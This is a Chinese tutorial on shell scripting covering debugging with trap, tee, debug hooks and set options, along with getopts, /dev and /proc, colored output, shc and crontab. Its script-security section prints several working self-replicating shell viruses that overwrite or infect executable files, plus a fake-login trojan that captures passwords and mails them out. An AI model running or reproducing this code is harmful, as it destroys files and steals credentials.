shell脚本的调试,主要有4种:trap命令、tee命令、调试钩子和shell选项
一.使用trap命令
1.基本格式
trap command sig1 sig2....
功能描述:trap命令收到指定信号sign(EXIT,ERR,DEBUG)时,执行command
2.shell脚本的三种“伪信号”
“伪信号”是因为这三个信号是由Shell产生的,其他的信号都是由操作系统产生
EXIT :从函数中退出,或整个脚本执行完毕
ERR :当一条命令返回非零状态码,即命令执行不成功
DEBUG :脚本中的每一条命令执行之前
3.举例:
例1:利用trap命令捕捉DEBUG信号来跟踪变量的取值变化
#!/bin/bash
trap 'echo "before execute line:$LINENO,a=$a,b=$b,c=$c"' DEBUG
a=0
b=2
c=100
while :
do
if ((a >= 10))
then
break
fi
let "a=a+2"
let "b=b*2"
let "c=c-10"
done
运行部分结果:
[root@nn shell]# ./trapdebug.sh
before execute line:5,a=,b=,c=
before execute line:6,a=0,b=,c=
before execute line:7,a=0,b=2,c=
before execute line:8,a=0,b=2,c=100
before execute line:10,a=0,b=2,c=100
before execute line:14,a=0,b=2,c=100
before execute line:15,a=2,b=2,c=100
before execute line:16,a=2,b=4,c=100
before execute line:8,a=2,b=4,c=90
before execute line:10,a=2,b=4,c=90
before execute line:14,a=2,b=4,c=90
before execute line:15,a=4,b=4,c=90
before execute line:16,a=4,b=8,c=90
before execute line:8,a=4,b=8,c=80
before execute line:10,a=4,b=8,c=80
before execut
解析:根据DEBUG产生的条件(脚本中的每一条命令执行之前产生DEBUG信号),因此,每当执行一个语句之前trap捕捉到DEBUG信号,进而打印a b c的值
例2:利用trap命令捕捉EXIT信号跟踪函数结束
#!/bin/bash
fun1()
{
echo "this is an correct function"
var=2010
return 0
}
trap 'echo "Line:$LINENO,var=$var"' EXIT
fun1
运行结果:
[root@nn shell]# ./trapexit.sh
this is an correct function
Line:1,var=2010
例3:利用trap命令捕捉ERR信号
#!/bin/bash
trap 'echo "Line:$LINENO,var=$var"' ERR
fun2()
{
echo "this is an err function"
var=2010
return 1
}
fun2
ipll
运行结果:
[root@nn shell]# ./traperr.sh
this is an err function
Line:9,var=2010
./traperr.sh: line 14: ipll: command not found
Line:14,var=2010
代码解析:
fun2函数返回值是1,非零返回值的函数都被认为是异常函数,因此在调用fun2函数时会产生ERR信号,输出
Line:9,var=2010
下面执行ipll,但是这个是错误语句,因此也会产生ERR信号
二、使用tee命令
使用tee命令可以将管道的东西写进文件
下面举个例子就可以看出tee的作用了:
tee -a file 将标准输出追加到文件末尾,而不会覆盖file
[root@nn shell]# cat /etc/sysconfig/network-scripts/ifcfg-br0 |grep IPADDR | cut -d= -f2
192.168.40.223
[root@nn shell]# cat /etc/sysconfig/network-scripts/ifcfg-br0 |tee /home/a.txt|grep IPADDR |tee -a /home/a.txt | cut -d= -f2
192.168.40.223
[root@nn shell]# cat /home/a.txt
DEVICE=br0
NM_CONTROLLED=no
TYPE=Bridge
ONBOOT=yes
BOOTPROTO=none
IPADDR=192.168.40.223
GATEWAY=192.168.40.1
NETMASK=255.255.255.0
DNS1=192.168.10.11
DEFROUTE=yes
IPV4_FAILURE_FATAL=yes
IPV6INIT=no
NAME="br0"
IPADDR=192.168.40.223
[root@nn shell]#
三、使用调试钩子
其实与一相似,不再多写
四、使用shell选项
前面三种方法都是通过修改shell脚本源代码,来定位错误,使用shell选项是一种不修改源代码也能定位错误信息
1.set -n :只进行语法检测,并不会真正执行代码
#!/bin/bash
set -n #set -o noexec 与set -n等价
echo "starting...."
var=0;
while :
if [ $var -gt 3 ]
then
break
fi
let "var=var+1"
done
运行结果:
[root@nn shell]# chmod +x misskey.sh
[root@nn shell]# ./misskey.sh
./misskey.sh: line 15: syntax error near unexpected token `done'
./misskey.sh: line 15: `done'
当然你也可以利用sh 命令直接对脚本进行语法检测 语法: sh -n 脚本文件
#!/bin/bash
echo "starting...."
var=0;
while :
if [ $var -gt 3 ]
then
break
fi
let "var=var+1"
done
运行结果:
[root@nn shell]# sh -n ./misskey.sh
./misskey.sh: line 14: syntax error near unexpected token `done'
./misskey.sh: line 14: `done'
2. -x
在执行每个命令之前,将每个命令打印到标准输出
#!/bin/bash
echo "starting...."
var=0;
while :
do
if [ $var -gt 3 ]
then
break
fi
let "var=var+1"
echo var=$var
done
运行结果:
[root@nn shell]# sh -x ./misskey.sh
+ echo starting....
starting....
+ var=0
+ :
+ '[' 0 -gt 3 ']'
+ let var=var+1
+ echo var=1
var=1
+ :
+ '[' 1 -gt 3 ']'
+ let var=var+1
+ echo var=2
var=2
+ :
+ '[' 2 -gt 3 ']'
+ let var=var+1
+ echo var=3
var=3
+ :
+ '[' 3 -gt 3 ']'
+ let var=var+1
+ echo var=4
var=4
+ :
+ '[' 4 -gt 3 ']'
+ break
3.shell用于调试的内部变量
LINENO :表示shell脚本的行号
FUNCNAME :数组变量,表示整个调用链上所有的函数名 #FUNCNAME[0]:表示当前正在运行的函数,FUNCNAME[1]:表示调用函数$FUNCNAME[0]的函数名字
PS4 :设置-x选项的提示符。默认值是“+”号 ;#export PS4=
4.-c
[root@nn shell]# a=10;b=20;c=$a*$b;echo $c
10*20
[root@nn shell]# a=10;b=20;let c=$a*$b;echo $c
200
[root@nn shell]# sh -c 'a=10;b=20;let c=$a*$b;echo $c'
200
sh -c实际上就是将后面的字符串作为命令来执行,一个字符串可以包含多个命令,命令之间需要用分号隔开
shell调试技术之三:调试钩子
调试钩子也称为调试块,实际上是if/then结构的代码块,在程序开发调试阶段将DEBUG设置成TRUE,到发布阶段将DEBUG设置成FALSE,关闭调试钩子,无须删除代码。调试钩子的代码:
DEBUG()
{
if [ "$DEBUG" = "true" ]
then
echo "Debugging information:"
fi
}
调试钩子中DEBUG是一个全局变量,开发调试阶段,可利用export DEBUG=true命令将DEBUG设置成true,执行调试信息。
#!/bin/bash
DEBUG()
{
if [ "$DEBUG" = "true" ]
then
$@ #输出所有参数信息与$*等价
fi
}
a=0
b=2
c=100
DEBUG echo "a=$a b=$b c=$c" #第1个调试钩子
while :
do
DEBUG echo "a=$a b=$b c=$c" #第2个调试钩子
if ((a >= 10)) #当a大于等于10时,跳出while循环
then
break
fi
let "a=a+2" #a、b、c值不断变化
let "b=b*2"
let "c=c-10"
done
(5)shell调试技术之四:shell选项
利用set命令开启和关闭shell选项的方法,不用修改源代码即可输出相关的调试信息。用于脚本的调试选项是-n、-x和-c。
Shell脚本编写完成后,使用-n选项来测试脚本是否存在语法错误是一个很好的习惯。因为实际执行脚本会对系统环境产生影响,则执行时发现语法错误还得做一系列的系统环境的恢复工作,才能继续测试脚本。脚本中开启-n选项,使用set -n或set -o noexec,脚本会检测语法并不执行。也可以利用sh命名直接对脚本进行语法检查:sh -n 脚本名。
-x选项用来跟踪脚本的执行,把实际执行的每一条命令行显示出来,并在行首显示一个“+”符号,“+”符号后面显示的是经过了变量替换之后的命名行内容,有助于分析实际执行的命令。-x选项经常与trap捕捉DEBUG信号结合使用,这样既可以输出实际执行的每一条命令又可以逐行跟踪相关变量的值,对调试有很大的帮助。可在脚本内使用set -x或使用sh -x执行脚本。
-x选项以“+”作为提示符表示调试信息,显得美中不足,可以通过shell提供的三个有用的内部变量定制-x选项的提示符。设置PS4使得-x提示符能包含LINENO和FUNCNAME等丰富的信息。
#!/bin/bash
isroot() #判断执行脚本的用户是否是root
{
if [ "$UID" -ne 0 ]
then
return 1
else
return 0
fi
}
echoroot()
{
isroot #调用函数
if [ "$?" -ne 0 ]
then
echo "I am not ROOT user!"
else
echo "ROOT user!"
fi
}
export PS4='+{$LINENO:${FUNCNAME[0]}:${FUNCNAME[1]}}' #对PS4变量重新赋值
echoroot
-c选项作用是使用shell解释器从一个字符串中而不是文件中读取并执行shell命名,仅用于临时测试一小段脚本的执行结果,而在shell命令行直接输入也会达到相同效果, 因此使用频率不高。如sh -c 'a=2;b=2012;let c=$a*$b;echo "c=$c"',命令间用分号分隔。
2、Shell主题
(1)Shell说明和用户提示信息
#!/bin/bash
flag=0;
echo "This script is used to username and password what you input is right or wrong. "
for ((i=0 ; i < 3 ; i++))
do
echo -n "Please input your name: "
read username
echo -n "Please input your password: "
read password
if test "$username" = "user" -a "$password" = "pwd"
then
echo "login success"
flag=1
break
else
echo "The username or password is wrong!"
fi
done
if [ "$flag" -eq "0" ]
then
echo "You have tried 3 times. Login fail!"
fi
(2) Shell特殊命令,shift和getopts
shift命令主要用于向脚本传递参数时每次将参数位置向左偏移一位。
使用shift显示所有的命令行参数:
#!/bin/bash
echo "number of arguments is $#"
echo "What you input is: "
while [[ "$*" != "" ]] #等价于while [ "$#" -gt 0 ]
do
echo "$1"
shift
done
Shell中提供了一条获取和处理命令行选项的getopts语句,使得控制多个命令行参数更加容易。格式为getopts option variable,option中包含一个有效的单字符选项。若getopts命令在命令行中发现了连字符,那么命名将用连字符后面的字符与option相比较,若匹配成功则 把变量variable值设为该选项,若匹配不成功,则 variable设为“?”。当getopts发现连字符后面没有字符后会返回一个非零的状态值。
有时有必要在脚本中指定命令行选项取值,getopts提供了一种方式,在option中将一个冒号放在选项后,如getopts ab: variable表示-a后可以不加实际值进行传递,而-b后必须取值,如果试图不取值传递此选项,会返回一个错误信息。有时错误信息提示并不明确,需要自己定义提示信息屏蔽它,那么将冒号放在option的开始部分,如getopts :ab: variable。
#!/bin/bash
while getopts ":fh:" optname
do
case "$optname" in
f)
echo "Option $optname is specified"
;;
h)
echo "Option $optname has value $OPTARG"
;;
\?)
echo "Unknown option $OPTARG"
;;
:)
echo "No parameter value for option $OPTARG"
;;
*)
echo "Unknown error while processing options"
;;
esac
done
shift $(($OPTIND - 1))
for options in "$@"
do
if [ ! -f $2 ]
then
echo "Can not find file $options . "
else
echo "Find the file $options . "
fi
done
-f用于判断输入的第二哥命令行参数是否为文件,而-h 后必须取值。
(3)Shell中/dev文件系统
Shell中存在伪文件系统/dev,该文件系统包含每个物理设备对应的文件。若需挂载物理设备或虚拟物理设备则可通过操作/dev完成。/dev/null和/dev/zero是两个特殊的伪设备,它们是虚拟的仅仅存在于软件的虚拟设备中。
/dev/zero是一个非常有用的伪设备,它用于创建空文件也可以创建RAM文件,可通过/dev/zero来建立一个交换文件。
/dev/null相当于一个文件的“黑洞” ,它非常接近于一个只写文件,所以写入它的内容都会永远丢失。若不想使用stdout,可以通过使用/dev/null将stdout禁止。如find / -name string > /dev/null,把查找的错误提示转移到特定的目录中。shell中会有如下命令: >/dev/null 2>&1,其中”>/dev/null“等价于”1>/dev/null“表示标准输出重定向到空设备文件,“2>&1”表示标准错误输出重定向等同于标准输出,也重定向到空设备文件。例如find / -name string > result.log 2>&1(等价于find / -name string 2> result.log 1>&2)。
(4)Shell中/proc文件系统
/proc文件系统是一个伪文件系统,它只存在内存中而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。用户和应用程序可以通过/proc得到系统的信息并可以改变内核的某些参数。由于系统的信息(如进程)是动态改变的,所以/proc文件系统是动态地从系统内核读出所需信息并提交的。/proc内的文件常被称为虚拟文件,有些文件使用查看命令查看会返回大量信息但文件本身的大小却会显示0字节。
在/proc下有三个很重要的目录:net、scsi和sys。sys目录可写,可通过它来访问或修改内核的参数,而net和scsi则依赖于内核配置。
cat /proc/interrupts查看中断,/proc/sys目录修改内核参数来优化系统,/proc中有编号(为进程ID)的子目录可以查看运行中的进程信息,cat /proc/filesystems | awk -F'\t' '{print $2}'查看文件系统支持的类型,cat /proc/net/sockstat查看网络信息,cat /proc/net/tcp查看TCP的具体使用情况。
(5)带颜色的shell脚本
Shell脚本中,脚本执行终端的颜色可以使用“ANSI非常规字符序列”来生成,如echo -e "\033[44;37;5m Hello World\033[0m",将前景色设置成蓝色,背景色设置成白色。-e用于激活特殊字符的解析器,\033引导非常规字符序列,m意味着设置属性并结束非常规字符序列,"44;37;5"可以生成不同颜色的组合,数值和编码的前后顺序无关。
选择的编码表:
#输出彩色的字符串的形式
#!/bin/bash
cfont()
{
while (("$#"!= 0))
do
case $1 in
-b)
echo -ne " "
;;
-t)
echo -ne "\t"
;;
-n)
echo -ne "\n"
;;
-black)
echo -ne "\033[30m" #黑色前景
;;
-red)
echo -ne "\033[31m" #红色前景
;;
-green)
echo -ne "\033[32m" #绿色前景
;;
-yellow)
echo -ne "\033[33m" #黄色前景
;;
-blue)
echo -ne "\033[34m" #蓝色前景
;;
-purple)
echo -ne "\033[35m" #紫色前景
;;
-cyan)
echo -ne "\033[36m" #青色前景
;;
-white|-gray)
echo -ne "\033[37m" #白色/灰色前景
;;
-reset)
echo -ne "\033[0m" #重新设置属性到默认设置
;;
-h|-help|--help)
echo "Usage: cfont -color1 message1 -color2 message2 ..."
echo "eg: cfont -red [ -blue message1 message2 -red ]"
;;
*)
echo -ne "$1"
;;
esac
shift
done
}
cfont -green "Start service ..." -red " [" -blue " OK" -red " ]" -black -n
3、Shell脚本安全
(1)shc工具加密shell脚本
若Shell脚本中包含敏感的口令或其他重要信息,而且不希望用户通过ps -ef捕获敏感信息,可用shc工具给脚本增加一层额外的安全保护。shc使用RC4加密算法把shell脚本转换成二进制可执行文件(支持静态和动态链接)。
shc安装后使用命名进行加密:shc -v -f filename.sh,-v是输出详细编译日志,-f指定脚本的名称。加密成功后会生成以.x和.c结尾的两个新文件,如生成可执行文件filename.sh.x和C语言源文件filename.sh.x.c。
(2)shell脚本简单病毒
{BANNED}最佳原始的shell病毒:
#!/bin/bash
for file in *
do
cp $0 $file
done
遍历当前文件系统的所有文件,然后覆盖所有文件,但linux是多用户操作系统,它的文件具有保护模式,所以上述脚本会报出一大堆错误,所以会很快被管理员发现并制止它的传染,为增强其隐蔽性对脚本进行改进:
#!/bin/bash
for file in *
do
if test -f $file #测试是否是文件
then
if test -x $file #测试文件是否可执行
then
if test -w $file #测试文件是否可读
then
grep -s "myself_flag" $file > .temp 2>&1 #判断自己的一个标志,是否为该shell脚本
#可以写成 if file $file | grep -s 'shell script' > /dev/null
if [ $? -ne 0 ]
then
cp -f $0 $file
fi
fi
fi
fi
done
rm .temp -f
但是脚本病毒一旦在感染完毕后就什么也不做了,它没有像二进制病毒那样的潜伏的危害性,只是简单的覆盖宿主而已。
下面利用传统的二进制病毒的感染机制并优化的代码:
#!/bin/bash infection
for file in * ; do
if test -f $file && test -x $file && test -w $file ; then
if grep -s "myself_flag" $file > /dev/null ; then
head -n 1 $file > .mm #提取要感染的脚本{BANNED}中国第一行
if grep -s "infection" .mm > /dev/null ; then
rm .mm -f
else
cat $file > .SAVE #借助传统的二进制的感染机制
head -n 14 $0 > $file
cat .SAVE >> $file #追加到文件
fi;fi;fi
done
rm .SAVE .mm -f
接着可以使用crontab命令让系统以一定的时间间隔调度这些命令执行或设置成开机自动运行即可。
(2)shell木马
Shell中同样存在木马,它看上去无害,却隐藏着很大的危险。
#!/bin/bash
clear
cat /etc/issue
echo -n "login:"
read login
echo -n "password:"
stty -echo
read passwd
stty sane
mail $USER <<- fin
login:$login
passwd:$passwd
fin
echo
echo "login incorrect"
sleep 1
exit 0
一个盗取别人passwd的shell脚本,当然有经验的linux使用者以下就能区分出来,可以将该木马做的更隐蔽。
4、Shell简单应用
(1)将文本转换成HTML
B Liu:Shanghai Jiaotong University:Shanghai:China
C Lin:University of Toronto:Toronto:Canada
D Hou:Beijing University:Beijing:China
J Luo:Southeast University:Nanjing:China
Y Zhang:Victory University:Melbourne:Australia
新建htmlconver.sh脚本,chmod +x htmlconver.sh,然后执行./htmlconver.sh < html.txt > conver.html。
#!/bin/bash
cat << CLOUD
information
CLOUD
sed -e 's/:/<\/TD>/g' -e 's/^/ | /g' -e 's/$/<\/TD><\/TR>/g'
#等价于awk 'BEGIN {FS=":";OFS=" | "} gsub(/^/," |
") gsub(/$/," |
") {print $1,$2,$3,$4}'
cat << CLOUD
CLOUD
(2)crontab定时任务
crondtab是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,crondtab进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
每个用户都有自己的调度crontab,可以使用crontab -u user -e或切换到user使用vim /etc/crontab(也可crontab -e)编辑crontab定时任务调度表。crontab命令选项意义如下:
linux还定义了两个控制文件来控制crontab,它们是:/etc/cron.allow和/etc/cron.deny。/etc/cron.allow表示哪些用户能使用crontab命令,若cron.allow为空则表明所有用户都不能安排定时任务;若该文件不存在则会查看/etc/cron.deny,只有不包含在这个文件中的用户才可以使用crontab命令;若cron.deny为空则任何用户都可以安排作业。两个文件同时存在cron.allow优先,同时不存在只有root用户能安排定时任务。
打开/etc/crontab:
crontab文件的基本格式 :
* * * * * command
minute hour day month week command
其中:
minute: 表示分钟,可以是从0到59之间的任何整数(每分钟用*或者 */1表示)。
hour:表示小时,可以是从0到23之间的任何整数(0表示0点)。
day:表示日期,可以是从1到31之间的任何整数。
month:表示月份,可以是从1到12之间的任何整数。
week:表示星期几,可以是从0到7之间的任何整数,这里的0或7代表星期日。
command:要执行的命令,可以是系统命令,也可以是自己编写的脚本文件。
在以上各个字段中,还可以使用以下特殊字符:
星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”
中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”
正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。
crontab例子如:下午4:50删除/abc目录下所有子目录和文件: 50 16 * * * rm -r /abc/*
crontab实现定时文件备份的例子,shell脚本实现备份功能,在crontab中定时每天执行脚本。脚本名称为fileback.sh.
#使用root权限将/etc目录下的所有内容进行备份
#fileback.sh
#!/bin/bash
DIRNAME=`ls /root | grep bak` #获取/root/bak字符串
if [ -z "$DIRNAME" ] #如果/root/bak不存在,则创建一个
then
mkdir /root/bak
cd /root/bak
fi
#获取当前年、月、日数据存储到YY、MM、DD变量中
YY=`date +%y`
MM=`date +%m`
DD=`date +%d`
BACKETC=$YY$MM$DD_etc.tar.gz #备份文件的名字
tar zcvf $BACKETC /etc #将/etc所有文件打包
echo "fileback finished!"
先登录root用户,cat /etc/crontab,在末尾加上:59 23 * * * /bin/bash /use/bin/filebach.sh,表示每天23:59执行一次 filebach.sh脚本。
三、总结
(1)Shell脚本调试难度大,熟练使用trap、tee、调试钩子和shell选项将更方便地调试错误。
(2)Shell下有颜色的脚本和脚本安全的内容还是比较有趣的,读者可以网上搜索更多的内容来补充。
(3)crontab定时任务对于Shell脚本的定时计划性执行还是非常有用的。